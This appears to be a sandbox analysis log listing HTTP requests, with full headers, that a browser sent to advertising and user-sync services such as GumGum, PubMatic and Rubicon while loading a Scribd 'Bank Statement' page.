Source: global traffic	HTTP traffic detected: GET /js/usersync.html?ccpa=1-N- HTTP/1.1Host: cdn.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1-N-& HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /pbcas?us_privacy=1-N-&gdpr=0&gdpr_consent=&type=iframe HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/sync/iframe/?cid=&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=9MI14eiyeLlIybvGwTPHksJBD4YJxwQBWVND3JTWk0AdVR5TQAUdBQwZgYMHVd8D3pOVxRlW3ZmUQgYAShUKxhREiVPYjYECEgEe1UoTwBUa1VhNlYMTVV0VSobVUEmQWRgVF4aBnhZLU1AWmVBZTRRXElUeF96S1ZFJkdkYVJZHAN7CipbTlRyEWdlVgwfUyhbfU1TFXdHZWcBChxSLwhrVUBAcURkMVddHF14CX0dVU8mTmxoAQxNUXhOFFVAFSgCOiRHU0lJbgstCRBUfQwpfEcaHBY%2FBSYXQExlTjFoBg9IBypBKEADR2pPNmhRRBgDL1VkS1NHIxQyZVZRSVQoTmVbARkpGTEzEQAWCwUIa0NAQHBPNWJXW01ceV5%2FTFtCcBZiYgReSV0tTjQ%3D
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=9.23.0&p=%5B%7B%22placement_id%22%3A%22scribd_adhesion%22%2C%22callback_id%22%3A%221247a3628245523a%22%2C%22sizes%22%3A%5B%5B750%2C100%5D%2C%5B728%2C90%5D%2C%5B468%2C100%5D%2C%5B468%2C60%5D%2C%5B320%2C100%5D%2C%5B300%2C100%5D%2C%5B320%2C50%5D%2C%5B300%2C50%5D%2C%5B234%2C60%5D%2C%5B1%2C1%5D%5D%2C%22ym_placement_id%22%3A%223316241398931333203%22%2C%22tid%22%3A%22abbfc083-7720-48a9-9e59-c5ac58baca7e%22%2C%22auctionId%22%3A%225c23c260-4b26-4c49-ae18-c358526e5117%22%7D%5D&page_url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bust=1739863208896&dnt=false&description=Bank%20Statement%20-%20Free%20download%20as%20PDF%20File%20(.pdf)%2C%20Text%20File%20(.txt)%20or%20read%20online%20for%20free.%20&tmax=3000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22%22%2C%22gpp_sid%22%3A%5B%5D%7D&us_privacy=1-N-&pr=&scrd=1&title=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&w=1232&h=910&schain=%7B%22ver%22%3A%221.0%22%2C%22complete%22%3A1%2C%22nodes%22%3A%5B%7B%22asi%22%3A%22freestar.com%22%2C%22sid%22%3A%221651%22%2C%22hp%22%3A1%7D%5D%7D HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209035&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016135&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209035&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016138&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3185&partner_device_id=AU1D-0100-001739863208-59L27RBO-LEXM&partner_url=https://ids.ad.gt%2Fapi%2Fv1%2Ftapad_match%3Fid%3DAU1D-0100-001739863208-59L27RBO-LEXM%26tapad_id%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /syncframe?origin=criteoPrebidAdapter&topUrl=www.scribd.com&us_privacy=1-N-&gpp= HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209035&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016132&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209036&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016136&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?ird=1&rd=https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fpbm_match%3Fpbm%3D%23PM_USER_ID%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209036&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016137&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/js/user_sync.html?kdntuid=1&p=156696&us_privacy=1-N- HTTP/1.1Host: ads.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /a/api/fastlane.json?account_id=16924&site_id=499626&zone_id=2978060&size_id=2&alt_size_ids=1%2C19%2C39%2C43%2C44%2C117%2C221&us_privacy=1-N-&rp_schain=1.0,1!freestar.com,1651,1,,,&rf=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_v.id=6153141f-7ee9-4f73-a36b-ee3a444bcc92&tg_i.domain=scribd.com&tg_i.page=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_i.name=scribd-com&tg_i.cat=IAB5&tg_i.sectioncat=IAB5&tg_i.pagecat=IAB5&tg_i.mobile=0&tg_i.fs_optimized=false&tg_i.fs_site=6111&tg_i.fs_ad_product=stickyFooter&tk_flint=pbjs_lite_v9.23.0&x_source.tid=5c23c260-4b26-4c49-ae18-c358526e5117&l_pb_bid_id=1198e09ef089be35&p_screen_res=1280x1024&rp_secure=1&x_imp.ext.tid=abbfc083-7720-48a9-9e59-c5ac58baca7e&p_site.mobile=0&rp_maxbids=1&m_ch_ua=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_full_ver=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_mobile=%3F0&m_ch_platform=Windows&slots=1&rand=0.3352172527725432 HTTP/1.1Host: fastlane.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=8gkxb6n&ttd_tpi=1&ttd_puid=AU1D-0100-001739863208-59L27RBO-LEXM&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=audigent_w_appnexus_3985&google_cm&google_sc&google_ula=450542624&id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=freestar&zcc=1&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunrulyfsx%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D&cb=1739863209871&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /r/dd/id/L2NzaWQvMS9jaWQvMTc0ODI0MTY1OC90LzA/url/https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Famo_match%3Fturn_id%3D%24!%7BTURN_UUID%7D%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: d.turn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fmatch%3Fid%3DAU1D-0100-001739863208-59L27RBO-LEXM%26adnxs_id%3D%24UID%26gdpr%3D0 HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /usync.html?endpoint=us-east&p=insticator HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/segments?url=https%253A%252F%252Fwww.scribd.com%252Fdocument%252F806838445%252FBank-Statement&partner_id=474&tagger_id=b9be9e1d9d5a9785a6417a9309e00232&au_id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: seg.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
